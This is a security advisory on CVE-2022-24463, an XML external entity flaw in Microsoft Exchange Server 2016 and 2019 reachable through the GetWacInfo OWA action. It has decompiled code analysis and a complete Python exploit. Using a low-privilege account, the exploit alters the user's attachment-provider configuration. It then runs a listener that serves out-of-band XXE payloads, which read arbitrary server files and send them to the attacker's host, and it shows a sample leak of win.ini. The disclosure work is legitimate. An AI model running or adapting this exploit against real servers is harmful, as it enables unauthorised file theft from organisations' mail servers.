SSD Advisory – Exchange Server GetWacInfo Information Disclosure Vulnerability

TL;DR

Find out how a flaw in Microsoft Exchange Server allows remote attackers to disclose sensitive information from the Exchange server.

Vulnerability Summary

A flaw exists within the OneDriveProUtilities class. The issue results from the unsafe usage of the XmlDocument XML processor. An attacker which has control over a low-privilege user account can leverage this vulnerability to send arbitrary requests and exfiltrate files from the target server.

CVE

CVE-2022-24463

Credit

An independent security researcher, Alex Birnberg of Zymo Security, has reported this to the SSD Secure Disclosure program.

Affected Versions

  • Exchange Server 2016
  • Exchange Server 2019

Vendor Response

Microsoft has released patches for the relevant supported software versions: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24463

Vulnerability Analysis

The specific flaw exists within the OneDriveProUtilities class. The issue results from the unsafe usage of the XmlDocument XML processor. An attacker which has control over a low-privilege user account can leverage this vulnerability to send arbitrary requests and exfiltrate files from the target server.

Details

The affected class can be found in the Microsoft.Exchange.Clients.Owa2.Server assembly, as Microsoft.Exchange.Clients.Owa2.Server.Core.OneDriveProUtilities. The method GetWacUrl makes use of the XmlDocument XML processor to parse [1] the response of an http request that is made to an attacker controlled server.

internal static WacUrlInfo GetWacUrl(ICallContext callContext, OwaIdentity identity, string endPointUrl, string documentUrl, bool isEdit, bool isSPGetWacTokenEnabled)
{
  string actionOrAppId = isEdit ? "2" : "4";
  if (isSPGetWacTokenEnabled)
  {
    actionOrAppId = (isEdit ? "1" : "0");
  }

  string getWacTokenUrlFormat = isSPGetWacTokenEnabled ? "{0}/_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl(fileUrl=@p, requestedAction={2})?@p='{1}'" : "{0}/_api/Microsoft.SharePoint.Yammer.WACAPI.GetWacToken(fileUrl=@p, wopiAction={2})?@p='{1}'";
  WebResponse tokenRequestWebResponse = OneDriveProUtilities.GetTokenRequestWebResponse(callContext, identity, getWacTokenUrlFormat, endPointUrl, documentUrl, actionOrAppId, "GetWacToken", "SP.GWT");
  XmlDocument xmlDocument = new XmlDocument();
  OneDriveProUtilities.EndBudget(callContext);
  xmlDocument.Load(tokenRequestWebResponse.GetResponseStream()); // 1
  // ...
}

The GetWacUrl method is called by a wrapper method also named GetWacUrl.

internal static string GetWacUrl(ICallContext callContext, OwaIdentity identity, string endPointUrl, string documentUrl, bool isEdit, FeaturesManager featuresManager)
{
  bool isSPGetWacTokenEnabled = featuresManager != null && featuresManager.ServerSettings.SPGetWacToken.Enabled;
  WacUrlInfo wacUrl = OneDriveProUtilities.GetWacUrl(callContext, identity, endPointUrl, documentUrl, isEdit, isSPGetWacTokenEnabled); // 2
  string text = isEdit ? "OwaEdit" : "OwaView";
  return string.Format("{0}&access_token={1}&access_token_ttl={2}&sc={3}", new object[]
  {
    wacUrl.BaseUrl,
    wacUrl.Token,
    wacUrl.TokenTtl,
    text
  });
}

The GetWacUrl method is called [3] by a method named CreateWacAttachmentTypeForReferenceAttachmentAsync, if the webServiceUrl paremeter is set and if the wacAction parameter is not an authenticated wopi action.

protected static async Task<WacAttachmentType> CreateWacAttachmentTypeForReferenceAttachmentAsync(UserContext userContext, ICallContext callContext, AttachmentIdType attachmentIdType, string webServiceUrl, string contentUrl, WacAction wacAction, bool isInDraft, string providerType, string appId, AttachmentPermissionLevel contentUrlType, bool shouldAclUser)
{
  bool isEdit = GetWacInfoBase.IsEditAction(wacAction);
  bool flag = GetWacInfoBase.IsAuthenticatedWopi(wacAction);
  // ... 
  else if (!string.IsNullOrEmpty(webServiceUrl))
  {
    if (!flag)
    {
      // ...
      text = OneDriveProUtilities.GetWacUrl(callContext, userContext.LogonIdentity, webServiceUrl, contentUrl, isEdit, userContext.FeaturesManager); // 3
    }
  // ...
}

This method is called [4] by the GetResultForReferenceAttachmentAsync method of the GetWacInfo class and OWA action.

private static async Task<WacAttachmentType> GetResultForReferenceAttachmentAsync(ICallContext callContext, UserContext userContext, string endpointUrl, string contentUrl, string providerType, WacAction wacAction, RequestDetailsLogger logger, AttachmentPermissionLevel contentUrlType, bool shouldAclUser)
{
  GetWacInfoBase.LogReferenceAttachmentProperties(logger, endpointUrl, GetWacAttachmentInfoMetadata.ResultReferenceAttachmentServiceUrl, contentUrl, GetWacAttachmentInfoMetadata.ResultReferenceAttachmentUrl);
  return await GetWacInfoBase.CreateWacAttachmentTypeForReferenceAttachmentAsync(userContext, callContext, null, endpointUrl, contentUrl, wacAction, true, providerType, null, contentUrlType, shouldAclUser); // 4
}

The requested provider is first obtained [5] from the user request then used by the GetResultForReferenceAttachmentAsync method to obtain the endpoint url which will be used [6] for the vulnerable request.

private static async Task<WacAttachmentType> ExecuteAsync(UserContext userContext, ICallContext callContext, string url, AttachmentDataProviderType providerType, WacAction wacAction, bool shouldAclUser)
{
  // ...
  AttachmentDataProvider provider = userContext.AttachmentDataProviderManager.GetProvider(callContext, providerType); // 5
  // ...
  wacAttachmentType = await GetWacInfo.GetResultForReferenceAttachmentAsync(callContext, userContext, GetWacInfo.GetEndpointUrl(url, attachmentPermissionLevel, provider), url, providerType.ToString(), wacAction, logger, attachmentPermissionLevel, shouldAclUser); // 6
  // ...
  return wacAttachmentType;
}

The attachment providers are defined in the OWA.AttachmentDataProvider user configuration, thus being fully modifiable by an attacker. By default, only the MailboxAttachmentDataProvider provider is defined however the provider configuration can be modified to include the OneDriveProAttachmentDataProvider provider, which is disabled by default. For example, the user configuration for enabling the OneDriveProAttachmentDataProvider provider will look similar to the one below.

<AttachmentDataProvider>
  <entry 
    __PolymorphicConfiguration_Type="Microsoft.Exchange.Clients.Owa2.Server.Core.OneDriveProAttachmentDataProvider" 
    DocumentLibrary="Library" 
    id="465b4e63-54c2-49d6-a99b-cab37fb799e3" 
    type="OneDrivePro" 
    displayName="OneDrivePro" 
    isThirdPartyProvider="False"
  ></entry>
</AttachmentDataProvider>

The user configuration is loaded into the user context only once, when it’s first used. A different user configuration may be loaded when the user context is destroyed, i.e. on logout-login.

The ExecuteAsync method is called [7] by the DoInternalExecuteAsync method.

private static async Task<WacAttachmentType> DoInternalExecuteAsync(ICallContext callContext, string url, bool isEdit, AttachmentDataProviderType providerType, bool shouldAclUser)
{
  UserContext userContext = UserContextManager.GetUserContext(callContext.HttpContext, callContext.EffectiveCaller, true);
  // ... 
  WacAction wacAction = isEdit ? WacAction.Edit : WacAction.View;
  return await GetWacInfo.ExecuteAsync(userContext, callContext, url, providerType, wacAction, shouldAclUser); // 7
}

The DoInternalExecuteAsync method is called by the InternalExecute method. This method is called whenever the GetWacInfo OWA action is called.

protected override async Task<WacAttachmentType> InternalExecute()
{
  return await GetWacInfo.DoInternalExecuteAsync(base.CallContext, this.url, base.IsEdit, this.providerType, this.shouldGrantAccess); // 8
}

Since OWA actions can be called with arbitrary parameters by any low-privilege user, the vulnerable code path can be triggered thus resulting XML external entity processing vulnerability.

Exploit

The exploit program provided requires five arguments, url being the target’s URL, username and password being the credentials of the user, the listener being the IP of the attacker’s machine, and file being the path to the file to be leaked. The exploit program runs a http server to deliver the payload of the exploit and needs to be publicly accessible. When the exploit completes execution, the payload will have been triggered. The exploit will save the leaked file to the current directory. In this case, the exploit saves the C:/Windows/win.ini file as a file with the name C__Windows_win.ini in the current directory. The leaked file is also printed to the screen.

$ ./exploit.py --url https://exchange.local --username user --password p4ssw0rd. --listener 192.168.1.102 --file C:/Windows/win.ini
[*] Setting up...
[*] Triggering...
[*] Saving file "C:/Windows/win.ini"...
[*] Cleaning up...
[*] Done.

##############################################

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1


##############################################
#!/usr/bin/env python3
import os
import re
import sys
import json
import time
import base64
import logging
import urllib3
import requests
import argparse
import textwrap
import threading
from requests_ntlm2 import HttpNtlmAuth
from urllib.parse import unquote
from flask import Flask, request, Response

class Exploit:
  def __init__(self, args):
    self.url = args.url
    self.username = args.username
    self.password = args.password
    self.file = args.file
    self.options = {
      'host': '0.0.0.0',
      'port': 80,
      'listener': args.listener
    }
    self.s = requests.Session()
    self.s.headers = {
      'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36'
    }
    self.s.verify = False
    self.s.auth = HttpNtlmAuth(self.username, self.password)
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

  def trigger(self):
    print('[*] Setting up...')
    self.setup()
    print('[*] Triggering...')
    self.listener()

  def setup(self):
    xmldata = '<AttachmentDataProvider><entry __PolymorphicConfiguration_Type="Microsoft.Exchange.Clients.Owa2.Server.Core.OneDriveProAttachmentDataProvider" DocumentLibrary="Library" id="465b4e63-54c2-49d6-a99b-cab37fb799e3" type="OneDrivePro" displayName="OneDrivePro" isThirdPartyProvider="False"></entry></AttachmentDataProvider>'
    xmldata = base64.b64encode(xmldata.encode('latin-1')).decode('latin-1')
    data = textwrap.dedent('''\
      <?xml version="1.0" encoding="utf-8"?>
      <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types">
        <soap:Header>
          <t:RequestServerVersion Version="Exchange2010"></t:RequestServerVersion>
        </soap:Header>
        <soap:Body>
          <m:UpdateUserConfiguration>
            <m:UserConfiguration>
              <t:UserConfigurationName Name="OWA.AttachmentDataProvider">
                <t:DistinguishedFolderId Id="root"/>
              </t:UserConfigurationName>
              <t:XmlData>{}</t:XmlData>
            </m:UserConfiguration>
          </m:UpdateUserConfiguration>
        </soap:Body>
      </soap:Envelope>
      '''.format(xmldata))

    headers = {
      'Content-type': 'text/xml; charset=utf-8'
    }
    
    r = self.s.post('{}/ews/Exchange.asmx'.format(self.url), headers=headers, data=data)
    if r.status_code != 500:
      return True
    return False

  def xxe(self):
    time.sleep(10)

    # Authenticate
    data = {
      'destination': '{}/owa/'.format(self.url),
      'flags': '4',
      'forcedownlevel': '0',
      'username': self.username,
      'password': self.password,
      'passwordText': '',
      'isUtf8': '1'
    }
    r = self.s.post('{}/owa/auth.owa'.format(self.url), data=data, allow_redirects=False)
    if r.status_code != 302 or r.headers['Location'].find('/owa/auth/logon.aspx') != -1:
      return False  
    self.s.get('{}/ecp/'.format(self.url))
    if 'msExchEcpCanary' not in self.s.cookies:
      return False
    self.csrf_token = self.s.cookies['msExchEcpCanary']
    
    # Trigger XXE
    headers = {
      'Action': 'GetWacInfo',
      'X-OWA-CANARY': self.csrf_token,
      'Content-type': 'application/json; charset=utf-8'
    }
    data = {
      'request': {
        '__type': 'GetWacInfoRequest:#Exchange',
        'Url': 'http://{}:{}/'.format(self.options['listener'], self.options['port'])
      }
    }
    self.s.post('{}/owa/service.svc'.format(self.url), headers=headers, data=json.dumps(data))

  def listener(self):
    def leak():
      content = unquote(request.query_string)
      if content.startswith('<![CDATA['):
        content = content[9:]
      if content.endswith(']]>'):
        content = content[:-3]

      def end():
        time.sleep(5)
        print('[*] Cleaning up...')
        self.cleanup()
        print('[*] Done.')
        print('')
        print('##############################################')
        print('')
        print(content)
        print('')
        print('##############################################')
        os._exit(0)
        
      filename = re.sub('[^A-Za-z0-9\.]', '_', self.file)
      print('[*] Saving file "{}"...'.format(self.file, filename))
      with open(filename, 'w') as f:
        f.write(content)
      threading.Thread(target=end).start()
      return Response('')

    def contextinfo():
      content = textwrap.dedent('''\
        <?xml version="1.0" encoding="UTF-8"?>
        <d:GetContextWebInformation xmlns:d="http://schemas.microsoft.com/ado/2007/08/dataservices">
          <d:WebFullUrl>http://{}:{}</d:WebFullUrl>
        </d:GetContextWebInformation>
      '''.format(self.options['listener'], self.options['port']))
      return Response(content, mimetype='text/xml')

    def dtd():
      content = textwrap.dedent('''\
        <!ENTITY % payload "%start;%stuff;%end;">
        <!ENTITY % param1 '<!ENTITY &#x25; external SYSTEM "http://{}:{}/_api?%payload;">'>
        %param1; %external;
        '''.format(self.options['listener'], self.options['port']))
      return Response(content)

    def payload(path):
      content = textwrap.dedent('''\
      <?xml version="1.0" encoding="UTF-8"?>
      <!DOCTYPE root [
      <!ENTITY % start "<![CDATA[">
      <!ENTITY % stuff SYSTEM "file:///{}">
      <!ENTITY % end "]]>">
      <!ENTITY % dtd SYSTEM "http://{}:{}/_api/cim20.dtd">
      %dtd;
      ]>
      <root></root>
      '''.format(self.file, self.options['listener'], self.options['port']))
      return Response(content, mimetype='text/xml')

    app = Flask(__name__)
    app.add_url_rule('/_api/contextinfo', 'contextinfo', contextinfo, methods=['POST'])
    app.add_url_rule('/_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl<path>', 'payload', payload)
    app.add_url_rule('/_api/cim20.dtd', 'dtd', dtd, methods=['GET'])
    app.add_url_rule('/_api', 'leak', leak, methods=['GET'])
    logging.getLogger('werkzeug').setLevel(logging.ERROR)
    cli = sys.modules['flask.cli']
    cli.show_server_banner = lambda *x: None
    threading.Thread(target=self.xxe).start()
    app.run(host=self.options['host'], port=self.options['port'])

  def cleanup(self):
    xmldata = '<AttachmentDataProvider><entry __PolymorphicConfiguration_Type="Microsoft.Exchange.Clients.Owa2.Server.Core.MailboxAttachmentDataProvider" id="c7b0c1e5-345f-4725-bc1f-ec032984899d" type="Mailbox" displayName="Recent attachments" isThirdPartyProvider="False"></entry></AttachmentDataProvider>'
    xmldata = base64.b64encode(xmldata.encode('latin-1')).decode('latin-1')
    data = textwrap.dedent('''\
      <?xml version="1.0" encoding="utf-8"?>
      <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types">
        <soap:Header>
          <t:RequestServerVersion Version="Exchange2010"></t:RequestServerVersion>
        </soap:Header>
        <soap:Body>
          <m:UpdateUserConfiguration>
            <m:UserConfiguration>
              <t:UserConfigurationName Name="OWA.AttachmentDataProvider">
                <t:DistinguishedFolderId Id="root"/>
              </t:UserConfigurationName>
              <t:XmlData>{}</t:XmlData>
            </m:UserConfiguration>
          </m:UpdateUserConfiguration>
        </soap:Body>
      </soap:Envelope>
      '''.format(xmldata))

    headers = {
      'Content-type': 'text/xml; charset=utf-8'
    }
    
    r = self.s.post('{}/ews/Exchange.asmx'.format(self.url), headers=headers, data=data)
    if r.status_code != 500:
      return True
    return False

if __name__ == '__main__':
  parser = argparse.ArgumentParser()
  parser.add_argument('--url', help='Target URL', required=True, metavar='')
  parser.add_argument('--username', help='Username of low privilege user', required=True, metavar='')
  parser.add_argument('--password', help='Password of low privilege user', required=True, metavar='')
  parser.add_argument('--listener', help='Listener IP', required=True, metavar='')
  parser.add_argument('--file', help='File to leak', required=True, metavar='')
  exploit = Exploit(parser.parse_args())
  exploit.trigger()

Demo

Comments
Comments are closed.